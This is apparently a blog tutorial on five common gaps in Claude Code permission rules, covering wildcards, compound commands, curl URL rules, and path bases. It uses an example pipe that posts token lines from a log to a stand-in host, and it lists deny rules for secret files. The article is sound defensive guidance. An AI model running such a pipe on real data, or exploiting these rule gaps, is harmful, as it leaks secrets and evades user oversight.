DeepDojo.AIPublished 2026-11-12中文

5 Common Gaps in Claude Code Permission Rules

Claude CodeAI Coding

Suppose Claude Code, while debugging, wants to run this command:

cat debug.log | grep token | curl -X POST -d @- https://logs.example.com

cat debug.log reads a log and grep token filters it locally, both harmless on their own. Only at the third segment, curl -X POST ..., does the filtered output leave your machine. Look only at the start of the command and you'll miss the step where the data goes out.

This is the core problem with permission allowlists. Rules are written as strings, but what actually happens is a chain of processes, arguments, paths, and network requests. Write a string too broadly and you've opened up a whole class of operations; write it too tightly and it quietly stops matching once an argument moves or the rule changes files. These five gaps come up most often:

  • naming only the tool, or writing Bash(*), allows the entire tool;
  • a missing space before a wildcard lets ls* match lsof too;
  • only the first segment of a compound command or pipe gets checked;
  • a URL string meant to restrict curl is bypassed by reordering arguments;
  • moving a path rule from project to user settings changes its base, and with it the directory it protects.

The fix is to allow frequent commands one at a time after you've reviewed them, write conditions in the form each tool expects, and recompute paths whenever a rule moves. What a string can't control at the process level goes to the sandbox.

01 Naming Only the Tool Allows All of It

Permission rules come in two basic forms:

ToolName
ToolName(condition)

A bare tool name matches every call to that tool:

Bash
Read
WebFetch

Bash(*) and a bare Bash both cover every Bash command. Put a bare tool name in deny, and Claude Code removes the tool. Write Bash(rm *) to block only matching calls. The Claude Code permissions documentation explains that a bare tool name in a deny rule removes the tool from Claude's context entirely, so Claude never sees it.

How the condition in parentheses matches depends on the tool:

Bash(pnpm typecheck)
Read(/.env)
Edit(/src/generated/**)
WebFetch(domain:docs.example.com)
Agent(Explore)

Once you've picked a tool, check its name and condition. The name shown in the interface isn't always the name configuration accepts, and a typo can make a rule silently miss. Checking the real result with /permissions and /doctor tells you more than confirming the parentheses balance.

02 The Space Before a Wildcard Changes Its Reach

Bash rules support the * wildcard at the start, middle, or end of a command:

Bash(pnpm lint)       matches only this exact command
Bash(pnpm test *)     matches pnpm test and any following arguments
Bash(git * main)      matches commands with variable middle text ending in main
Bash(* --version)     matches commands ending in --version

Spaces change what matches. Bash(ls *) matches ls and its arguments, while Bash(ls*) also matches lsof. The docs make this a rule: the space before a trailing * is part of the rule, so Bash(ls *) requires a space after ls and doesn't match lsof. Prefer the spaced form for new rules, and check the boundary against real calls.

03 Every Segment of a Compound Command Needs Approval

For compound commands joined with &&, ||, semicolons, or pipes, Claude Code checks each segment. Approval for one segment doesn't carry over to the next, so test each segment's result separately.

The permissions documentation lists the separators it recognizes: &&, ||, ;, |, |&, &, and newlines. Every subcommand must be allowed. In the other direction, if any one segment matches a deny or ask rule, the whole command is blocked or prompts.

Back to the pipe from the opening. Follow the data left to right: cat debug.log reads the log, grep token filters it locally, and at curl -X POST ... the result is sent to an external address. Allowing the first two segments doesn't approve the third. Checking each segment shows exactly where data leaves the machine. The example is only for analyzing permissions; don't send real logs anywhere.

04 A URL String Can't Control Where a Request Goes

Having traced where the data in the pipe ends up, look at URL restrictions. Does a URL in a command guarantee the request only goes there? This Bash string rule can't answer that:

Bash(curl https://example.com/*)

Reorder the arguments, add a redirect, a variable, or a different protocol, and the request can change. The docs carry an explicit warning: Bash rules that try to constrain command arguments are fragile. A rule like Bash(curl http://github.com/ *) won't match options placed before the URL, a switch to https, a short link that redirects, or a URL stored in a variable. The recommendation is to deny curl, wget, and similar commands, and use WebFetch rules with domain: to allow specific domains.

Network access can be controlled by domain:

WebFetch(domain:docs.example.com)
WebFetch(domain:*.example.com)

*.example.com matches subdomains but not the root domain example.com, so write two rules when you need both.

Other tools use their own formats. MCP tools use the server name and tool name:

mcp__github
mcp__github__get_issue
mcp__puppeteer__*

One MCP server may offer both read and write tools. If you only need to look up issues, allow that query tool; before allowing the whole server, review its other capabilities. Subagents are restricted by name, such as Agent(Explore), Agent(Plan), or a custom name. If an environment shouldn't run a certain agent, put the matching rule in deny.

05 Moving a Rule to Another File Moves Its Path Base

Read and Edit path rules use matching similar to .gitignore, but the leading characters decide where the path is resolved from:

FormMeaningExample
//pathAbsolute path from the filesystem rootRead(//Users/alice/secrets/**)
~/pathRelative to the current user's home directoryRead(~/.ssh/**)
/pathRelative to the Settings source that defines the ruleEdit(/src/generated/**)
path or ./pathRelative to the current working directoryRead(./fixtures/**)

Say you want to reuse project A's rule in your personal settings so other projects get it too. The original Read(/secrets/**) in A's .claude/settings.json points to A/secrets/. Move it to user settings and the base becomes ~/.claude/, so it now protects ~/.claude/secrets/**.

The string is unchanged and there's no syntax error, but the project directory no longer matches. Whenever you move a rule, recompute the actual path.

One more easy miss: a Read rule doesn't stop writes. To protect a file from changes as well, add an Edit rule.

06 Hand What Strings Can't Reach to the Sandbox

Claude Code's permission rules decide whether a call runs, prompts, or is denied. The operating system sandbox limits which files and network resources Bash and its child processes can actually reach.

Permission rules: can this tool call be made?
Sandbox: once the call is made, what can the process actually touch?

The docs spell out what file rules cover: Read and Edit deny rules apply to built-in file tools, to file commands Claude Code recognizes in Bash such as cat, head, tail, sed, and tee, and to redirection targets. A Python or Node script that opens files itself isn't covered; to enforce a path for every process, enable the sandbox. Network access works the same way: blocking curl and wget still leaves Python and Node able to connect. To limit the domains a process can actually reach, use the network sandbox.

The sandboxing documentation lays out the split clearly. Permission decisions are evaluated before a command runs, based on the command string. The sandbox boundary is enforced by the operating system on the running process, so it holds regardless of what the model chose to run, even if an allowed command does more than its name suggests.

When a call fails, find where it was stopped:

Denied before the call started → check which permission rule matched
Command started but can't read a directory → check the sandbox and system access

If a command started and still can't read a directory, adding more allow rules can widen other permissions without fixing the resource limit. When you need a finer check than a string can give, such as blocking writes by their resolved path, add a Hook; see block Claude Code from editing .env with a Hook.

07 Build a Starter Allowlist from Real Work

Start with the frequent, necessary commands you've reviewed, and add permissions one at a time. Opening Bash(*) and then adding deny rules for a few dangerous commands won't keep up with argument variations, wrapper scripts, and alternative programs. Here's a starter example:

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "allow": [
      "Bash(pnpm lint)",
      "Bash(pnpm typecheck)",
      "Bash(pnpm test *)",
      "Bash(git status)",
      "Bash(git diff *)"
    ],
    "ask": [
      "Bash(pnpm add *)",
      "Bash(pnpm remove *)",
      "Bash(git commit *)",
      "Bash(git push *)",
      "Bash(rm *)"
    ],
    "deny": [
      "Read(/.env)",
      "Read(/.env.*)",
      "Read(/secrets/**)",
      "Bash(git push --force *)"
    ]
  }
}

After reviewing the project's scripts, this configuration lets checks and read-only Git commands run directly. Changing dependencies, committing, pushing, and deleting ask first, and reads that hit the denied paths are blocked.

A literal git push --force rule doesn't cover -f or reordered arguments. To block every force push, deny all pushes, or combine a PreToolUse Hook with branch protection on the remote.

"Check commands" need individual review too. pnpm test * accepts any trailing arguments, and the script might write snapshots, start services, or call external APIs. Look at what the command actually runs and confirm it's within scope before keeping the allow rule. If the script later adds an upload step, revisit the decision even though the command name hasn't changed.

Once written, run the rules through deny, ask, and allow to verify them, as described in why Claude Code denies a command you allowed. Grow the allowlist from commands you've reviewed, recheck whenever a script changes, and that third segment of the pipe won't slip through unnoticed.

Claude Code Best Practices →

Fix Bash spacing and path-base mistakes, tighten an overly broad grant for a check task, and separate read, edit, network, and MCP write access.

RSS